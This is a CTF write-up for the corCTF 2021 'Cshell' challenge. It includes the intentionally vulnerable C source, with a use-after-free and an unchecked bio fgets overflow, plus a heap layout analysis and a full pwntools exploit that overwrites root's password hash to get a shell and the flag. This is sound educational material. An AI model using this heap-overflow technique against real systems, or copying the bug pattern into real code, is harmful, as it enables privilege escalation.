corCTF 2021: Cshell

My friend Hevr thinks I can't code, so I decided to prove him wrong by making a restricted shell in which he is unable to play squad. I must add that my programming skills are very cache money...

TL;DR

Abuses a boundary-check misconfiguration to overwrite a previously freed chunk (Use-After Free), then overflow it to reset the root account's hash.

Basic File Checks

When we run the binary, we are asked to create a new user profile. We can provide a username, password and most importantly, a bio with the character limit of 200 words. To exploit the challenge, we need to find a way to become root with an UID of 0.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./Cshell       
       /\
      {.-}
     ;_.-'\
    {    _.}_
    \.-' /  `,
     \  |    /
      \ |  ,/
       \|_/

Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
> testtest
Welcome to the system testtest, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> pass
How many characters will your bio be (200 max)?
> 200
Great, please type your bio.
> nope

+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 2
testtest, uid: 1000

+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 3
Who do you think you are?

Only canary and NX is enabled, meaning we have to combine a canary leak + ROP attack if we were exploiting a buffer overflow. However, this could also be hinting at the possibility of a heap-related exploitation.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ checksec --file=Cshell 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   2280 Symbols      No    0               0               Cshell

Static Code Analysis

The source code provided for this challenge is relatively lengthy, so let's go through each function one by one to understand the workflow and find a way to exploit it. (Some useless functions are removed for brevity)

At the beginning, the structure for a LinkedList tracker is initialized to store records of the users data type. The only takeaway here is that the name and passwd buffer for a user is 8 bytes and 35 bytes in size respectively.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>

//gcc Cshell.c -static -lcrypt -o Cshell

struct users {
	char name[8];
	char passwd[35];
};

struct tracker{
	struct tracker *next;
	struct users *ptr;
	char name[8];
	long int id;
};

char * alex_buff;
char * Charlie_buff;
char * Johnny_buff;
char * Eric_buff;

struct users *user;
struct users *root;

struct tracker *root_t;
struct tracker *user_t;

char *username[8];
char *userbuffer;
int uid=1000;
int length;
char salt[5] = "1337\0";
char *hash;

void menu(){
	puts("+----------------------+");
	puts("|        Commands      |");
	puts("+----------------------+");
	puts("| 1. logout            |");
	puts("| 2. whoami            |");
	puts("| 3. bash (ROOT ONLY!) |");
	puts("| 4. squad             |");
	puts("| 5. exit              |");
	puts("+----------------------+");
	int option;
	printf("Choice > ");
	scanf("%i",&option);
	switch(option){
		case 1:
			logout();
		case 2:
			whoami();
		case 3:
			bash();
		case 4:
			squad();
		case 5:
			exit(0);
		default:
			puts("[!] invalid choice \n");
			break;
	}
}

The LinkedList is iterated at the logout() function to find the existence of a user via it's username. If it finds one with that name, it will ask for a password and then hashes the plaintext password with the 1337 salt and checks the resulting hash against the stored hash.

void logout(){
	fflush(stdin);
	getchar();
	struct tracker *ptr;
	printf("Username:");
	char username_l[9];
	char password_l[32];
	char *hash;
	scanf("%8s",username_l);
	for (ptr = root_t; ptr != NULL; ptr = root_t->next) {

        if (strcmp(ptr->name, username_l) == 0) {
            printf("Password:");
            scanf("%32s",password_l);
            hash = crypt(password_l,salt);
            if (strcmp(hash,ptr->ptr->passwd) == 0){
                strcpy(username,ptr->name);
                uid = ptr->id;
                puts("Authenticated!");
                menu();
            }
            else{
                puts("Incorrect");
                logout();
            }
        }
        else
        {
            if (ptr->next==0)
            {
                puts("Sorry no users with that name.");
                logout();
            }
        }
    }
}

At mentioned above, we need to select 3 from the menu as the root user to gain a bash shell. We can either tackle this challenge by cracking/guessing the root password or overwrite the password via some kind of overflow.

void bash(){
	if (uid == 0){
		system("bash");
	}
	else 
	{
		puts("Who do you think you are?");
		exit(0);
	}
}

Despite the root’s password being visible as plaintext in the main() function, we can never access the root account by using guessme:) as the password. This is because our input will undergo irreversible hashing algorithm before it is compared with the stored hash. As a result, the comparison will always lead to a contradiction statement that is always false.

int main(){
	setvbuf(stdout, 0 , 2 , 0);
	setvbuf(stdin, 0 , 2 , 0);
	root_t = malloc(sizeof(struct tracker));
	user_t = malloc(sizeof(struct tracker));
	history();
	banner();
	user = malloc(sizeof(struct users )* 4);
	root = user + 1;
	strcpy(user->name,"tempname");
	strcpy(user->passwd,"placeholder");
	strcpy(root->name,"root");
	strcpy(root->passwd,"guessme:)");
	strcpy(root_t->name,"root");
	root_t->ptr = root;
	root_t->id = 0;
	root_t->next = user_t;
	setup();
	strcpy(user->name,username);
	strcpy(user->passwd,hash);
	strcpy(user_t->name,username);
	user_t->id=1000;
	user_t->ptr = user;
	user_t->next = NULL;
	menu();
	return 0;
}

If we look at the code for history(), we can see what it was talking about when it said you are our 3rd user. We used to have more but some have deleted their accounts. Essentially, what happens here is that the two pointers to heap allocated memory of the buffer of Charlie and Eric aren't cleaned up, thereby presenting our first vulnerability of Use-After-Free (UAF).

void history(){
	alex_buff = malloc(0x40);
	char alex_data[0x40] = "Alex\nJust a user on this system.\0";
	char Johnny[0x50] = "Johnny\n Not sure why I am a user on this system.\0";
	char Charlie[0x50] ="Charlie\nI do not trust the security of this program...\0";
	char Eric[0x60] = "Eric\nThis is one of the best programs I have ever used!\0";
	strcpy(alex_buff,alex_data);
	Charlie_buff = malloc(0x50);
	strcpy(Charlie_buff,Charlie);
	Johnny_buff = malloc(0x60);
	strcpy(Johnny_buff,Johnny);
	Eric_buff = malloc(0x80);
	strcpy(Eric_buff,Eric);
	free(Charlie_buff);
	free(Eric_buff);
}

The second vulnerability is a Heap Overflow that occurs in our bio when setup() is called. In short, It asks us for a length of bio, then allocates it with our length + 8, but call fgets to receive 201 characters anyway. To exploit this flaw, we can ask for a bio size smaller than 201 and achieve heap overflow.

Additionally, the username buffer, whose size is 8 bytes, is allocated with the scanf() function, reading up to 8 bytes. This could be a problem because scanf() writes the null terminator at the end, so indeed 9 bytes are written.

void setup(){
	char password_L[33];
	puts("Welcome to Cshell, a very restricted shell.\nPlease create a profile.");
	printf("Enter a username up to 8 characters long.\n> ");
	scanf("%8s",username);
	printf("Welcome to the system %s, you are our 3rd user. We used to have more 
    but some have deleted their accounts.\nCreate a password.\n> ",username);
	scanf("%32s",&password_L);
	hash = crypt(password_L,salt);
	printf("How many characters will your bio be (200 max)?\n> ");
	scanf("%d",&length);
	userbuffer = malloc(length + 8);
	printf("Great, please type your bio.\n> ");
	getchar();
	fgets((userbuffer + 8),201,stdin);
}

Heap Visualization

Keeping track of all the invocation of malloc(), in order of execution, from main() all the way until setup(), we can visualize how the heap is allocated.

Size
Code

0x30

root_t = malloc(sizeof(struct tracker))

0x30

user_t = malloc(sizeof(struct tracker))

0x50

alex_buff = malloc(0x40)

0x60

Charlie_buff = malloc(0x50)

0x70

Johnny_buff = malloc(0x60)

0x90

Eric_buff = malloc(0x80)

-

free(Charlie_buff)

-

free(Eric_buff)

0xc0

user = malloc(sizeof(struct users )* 4)

Note that the last users struct actually holds the record for both user and root, which explains why the size is relatively larger.

Exploit Plan

In order to chain the Use-After-Free (UAF) vulnerability with heap overflow, we have to reuse a previously freed chunk of matching sizes. If we allocate 120 characters for our bio, combined with the automatic addition of +8, it will be the same size as Eric's buffer (0x80) that was previously freed.

Afterwards, since we are free to write anything to our own bio, Eric's buffer in this case, we can overflow it to overwrite the passwd of root account, because the users struct is just coincidentally below Eric_buff.

Calculating Padding

128 + 8 + 8 + 35 + root + passwd

  1. We obviously need to fill the entirety of Eric's buffer before we can achieve a heap overflow, so we need 128 bytes of padding.

  2. Now, notice that each and every heap chunk contains a magic byte as it's header. In this case, we need to fill the users struct header with 8 bytes.

  3. Recall that the name and passwd buffer for a user is 8 bytes and 35 bytes in size respectively, and our user account is located on top of our root account. Hence, we need to overwrite the attributes of user account (8 + 35) with junk before we can reach the root account.

  4. At this point, we have finally reached the struct for the root account. To prevent corruption, we need to overwrite the root username back as how it was, then finally write our custom password.

Generate Custom Hash

Reusing part of the hashing algorithm provided in the source code, we can generate our own password to overwrite the root account.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <crypt.h>
//gcc hash.c -static -lcrypt -o hash

char salt[5] = "1337\0";
char *hash;

int main(){
	char password_L[33];
	char output[33] = "";
	char buffer[50];  

	printf("Create a password.\n> ");
	scanf("%32s",&password_L);

	char *hash = crypt(password_L,salt);
	printf("%s\n", hash);

	size_t len = strlen(hash); 
	for (size_t i = 0; i <= len; i++)
	{
		sprintf(buffer, "\\x%x", hash[i]);
		strcat(output, buffer);
	}

	printf("%s", output);
}

Compile and run the hashing binary to derive the hex bytes for our custom password.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ gcc hash.c -static -lcrypt -o hash
                                                                                                                                                  
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./hash                            
Create a password.
> securepassword
13dUb0ohO9yjc
\x31\x33\x64\x55\x62\x30\x6f\x68\x4f\x39\x79\x6a\x63\x0a

Solution

Putting everything together in pwntools to automate the attack.

solve.py
#!/usr/bin/env python3
from pwn import *

elf = ELF('./Cshell')

p = elf.process()

def register():
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "test")
	p.sendline(b"test")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "rockyou")
	p.sendline(b"rockyou")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "120")
	p.sendline(b"120")

def exploit():
	# Padding of 179
	padding = b"A"*128 # Fill Eric's buffer
	padding += b"A"*8 # Fill users struct header
	padding += b"A"*8 # Fill username for user
	padding += b"A"*35 # Fill password for user

	root_hex = p64(0x746f6f72) # root
	hashed_passwd = b"\x31\x33\x64\x55\x62\x30\x6f\x68\x4f\x39\x79\x6a\x63\x0a" # securepassword

	payload = padding
	payload += root_hex
	payload += hashed_passwd

	print(p.recvuntil(b"> ").decode(encoding='ascii'))
	p.sendline(payload) 

	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "1")
	p.sendline(b"1")
	print(p.recvuntil(b":").decode(encoding='ascii') +  "root")
	p.sendline(b"root")
	print(p.recvuntil(b":").decode(encoding='ascii') +  "securepassword")
	p.sendline(b"securepassword")
	print(p.recvuntil(b"> ").decode(encoding='ascii') +  "3")
	p.sendline(b"3")

def main():
	register()
	exploit()
	p.interactive()

if __name__ == "__main__":
	main()
┌──(kali💀JesusCries)-[~/Desktop]
└─$ ./solve.py           
[*] '/home/kali/Desktop/Cshell'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[+] Starting local process '/home/kali/Desktop/Cshell': pid 2280
       /\
      {.-}
     ;_.-'\
    {    _.}_
    \.-' /  `,
     \  |    /
      \ |  ,/
       \|_/

Welcome to Cshell, a very restricted shell.
Please create a profile.
Enter a username up to 8 characters long.
> test
Welcome to the system test, you are our 3rd user. We used to have more but some have deleted their accounts.
Create a password.
> rockyou
How many characters will your bio be (200 max)?
> 120
Great, please type your bio.
> 
+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 1 
Username: root
Password: securepassword
Authenticated!
+----------------------+
|        Commands      |
+----------------------+
| 1. logout            |
| 2. whoami            |
| 3. bash (ROOT ONLY!) |
| 4. squad             |
| 5. exit              |
+----------------------+
Choice > 3
[*] Switching to interactive mode
$ cat flag.txt
corctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}

Flag: corctf{tc4ch3_r3u5e_p1u5_0v3rfl0w_equ4l5_r007}

Last updated